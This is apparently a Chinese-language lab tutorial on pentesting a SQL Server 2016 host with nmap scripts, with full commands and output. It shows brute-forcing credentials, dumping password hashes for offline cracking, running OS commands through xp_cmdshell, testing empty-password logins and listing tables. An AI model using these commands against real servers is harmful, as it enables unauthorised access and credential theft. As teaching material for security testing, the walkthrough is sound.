准备阶段
攻击机器：Kali (装有nmap)
目标机器：Windows Server 2019 (安装SQL Server 2016)
nmap自带一系列用于测试的脚本，用于mssql的脚本可以通过如下语句查询：
$ locate *.nse | grep ms-sql
/usr/share/nmap/scripts/broadcast-ms-sql-discover.nse
/usr/share/nmap/scripts/ms-sql-brute.nse
/usr/share/nmap/scripts/ms-sql-config.nse
/usr/share/nmap/scripts/ms-sql-dac.nse
/usr/share/nmap/scripts/ms-sql-dump-hashes.nse
/usr/share/nmap/scripts/ms-sql-empty-password.nse
/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse
/usr/share/nmap/scripts/ms-sql-info.nse
/usr/share/nmap/scripts/ms-sql-ntlm-info.nse
/usr/share/nmap/scripts/ms-sql-query.nse
/usr/share/nmap/scripts/ms-sql-tables.nse
/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse
获取数据库版本信息
使用ms-sql-info脚本获取目标数据库版本等信息
nmap -p 1433 -Pn --script ms-sql-info 192.168.91.133
//-p 表示指定端口号、-Pn：不检测主机存活、--script 指定脚本
获取的信息如下：
利用Nmap对MSSQL进行渗透测试
用户凭证爆破
使用ms-sql-brute脚本可以对数据库用户名和密码进行枚举和爆破
nmap -p 1433 -Pn --script ms-sql-brute --script-args userdb=mssql_user.txt,passdb=mssql_pass.txt 192.168.91.133
// --script-args 指定脚本参数；userdb= 指定用户名字典 ；passdb= 指定密码字典
结果如下：
利用Nmap对MSSQL进行渗透测试
得到的用户名和密码：
sa:Password@123
pentest:123456
执行SQL语句
利用前面得到的凭据，可以调用nmap的ms-sql-query脚本在目标上执行SQL查询
用法如下：
nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-query.query="SQL查询语句" 192.168.91.133
列出目标上的所有数据库
nmap -p1433 -Pn --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-query.query="sp_databases" 192.168.91.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 01:57 EDT
Nmap scan report for 192.168.91.133
Host is up (0.00051s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-query:
| [192.168.91.133:1433]
| Query: sp_databases
| DATABASE_NAME DATABASE_SIZE REMARKS
| ============= ============= =======
| master 7552 Null
| model 16384 Null
| msdb 21888 Null
|_ tempdb 16384 Null
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
NetBIOS 信息收集
利用ms-sql-ntlm-info脚本对启用 了NTLM身份验证的远程SQL Server主机NetBIOS信息进行收集。
原理是发送无效域和空凭据的MS-TDS NTLM身份验证请求将导致远程服务以 NTLMSSP消息进行响应，该消息会泄露包括 NetBIOS、DNS和操作系统版本信息。
nmap -p1433 -Pn --script ms-sql-ntlm-info 192.168.91.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:08 EDT
Nmap scan report for 192.168.91.133
Host is up (0.00053s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-ntlm-info:
| Target_Name: WIN-8EIGFF6H8PR
| NetBIOS_Domain_Name: WIN-8EIGFF6H8PR
| NetBIOS_Computer_Name: WIN-8EIGFF6H8PR
| DNS_Domain_Name: WIN-8EIGFF6H8PR
| DNS_Computer_Name: WIN-8EIGFF6H8PR
|_ Product_Version: 10.0.17763
MSSQL 密码哈希转储
使用ms-sql-dump-hashes可以导出mssql密码哈希，可以提供给John-the-ripper这类工具使用。
nmap -p 1433 -Pn --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:22 EDT
Nmap scan report for 192.168.91.133
Host is up (0.0011s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-dump-hashes:
| [192.168.91.133:1433]
| sa:0x02002df771b8ffe860cb75e4bea87df48dd2fc38c35566eed3bf636aa962b2a24768387120df74d775627ea8ab10cd2339b525706fa0f68cbdff4580fcfddef2cb98493cce87
| ##MS_PolicyEventProcessingLogin##:0x02001be8e4066350f72d7043e3b6fe080efb16a0cf424a4a1f078d84509d013946acaf49c08fdb534044432e474422769e4d43baa399bb094aa532e1333f6ec9c4eb01b4120c
| ##MS_PolicyTsqlExecutionLogin##:0x02002f2e008251ee080daa07829e49ef4baf8624e26bc34a37096691751f83b4d7122f8bf1015db9ba5a519f483da5d366712c0fc54f8250ae8ce38db43e8e9f616cd0faab97
|_ pentest:0x020025bc596aaf94a1f764ccaca6cd6d0615cfba0f01140879c21df33959e492254ef66d53ddbfb0c961e3f04bfb376294d7194fcd61b0b6b85b06387d6f975b92a779544ab6
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
命令执行
xp_cmdshell是 Microsoft SQL Server的一项功能，它允许系统管理员执行操作系统命令。默认情况下，xp_cmdshell选项是禁用的。如果在目标服务器中启用了 xp_cmdshell，可以利用ms-sql-xp-cmdshell脚本在目标机器上执行系统命令。
nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133
//ms-sql-xp-cmdshell.cmd= 指定要执行的命令
nmap -p1433 -Pn --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@123,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.91.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:28 EDT
Nmap scan report for 192.168.91.133
Host is up (0.00047s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-xp-cmdshell:
| [192.168.91.133:1433]
| Command: ipconfig
| output
| ======
| Null
| Windows IP \xE9\x85\x8D\xE7\xBD\xAE
| Null
| Null
| \xE4\xBB\xA5\xE5\xA4\xAA\xE7\xBD\x91\xE9\x80\x82\xE9\x85\x8D\xE5\x99\xA8 Ethernet0:
| Null
| \xE8\xBF\x9E\xE6\x8E\xA5\xE7\x89\xB9\xE5\xAE\x9A\xE7\x9A\x84 DNS \xE5\x90\x8E\xE7\xBC\x80 . . . . . . . : localdomain
| \xE6\x9C\xAC\xE5\x9C\xB0\xE9\x93\xBE\xE6\x8E\xA5 IPv6 \xE5\x9C\xB0\xE5\x9D\x80. . . . . . . . : fe80::c0cf:a5e8:ba66:9b8d%6
| IPv4 \xE5\x9C\xB0\xE5\x9D\x80 . . . . . . . . . . . . : 192.168.91.133
| \xE5\xAD\x90\xE7\xBD\x91\xE6\x8E\xA9\xE7\xA0\x81 . . . . . . . . . . . . : 255.255.255.0
| \xE9\xBB\x98\xE8\xAE\xA4\xE7\xBD\x91\xE5\x85\xB3. . . . . . . . . . . . . : 192.168.91.2
|_ Null
空密码登录测试
如果管理员将密码设置为空，那么攻击者就可以直接登录到数据库。
利用Nmap对MSSQL进行渗透测试
利用ms-sql-empty-password脚本可以对目标进行SQL Server空密码登录测试
nmap -p1433 -Pn --script ms-sql-empty-password 192.168.91.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 02:36 EDT
Nmap scan report for 192.168.91.133
Host is up (0.00056s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-empty-password:
| [192.168.91.133:1433]
|_ sa:<empty> => Login Success
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
查看数据库表
ms-sql-tables脚本可以列出目标的数据库表
Tips：默认情况下MSSQL中没有数据库，要新建一个数据库和插入表，不然执行下列脚本会报错。
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133
nmap -p1433 -Pn --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@123 192.168.91.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-11 04:28 EDT
Nmap scan report for 192.168.91.133
Host is up (0.00079s latency).
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sql-tables:
| [192.168.91.133:1433]
| pentest
| table column type length
| ===== ====== ==== ======
| Table_1 password nchar 40
| Table_1 username nchar 40
|
| Restrictions
| Output restricted to 2 tables (see ms-sql-tables.maxtables)
| Output restricted to 5 databases (see ms-sql-tables.maxdb)
|_ No filter (see ms-sql-tables.keywords)
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
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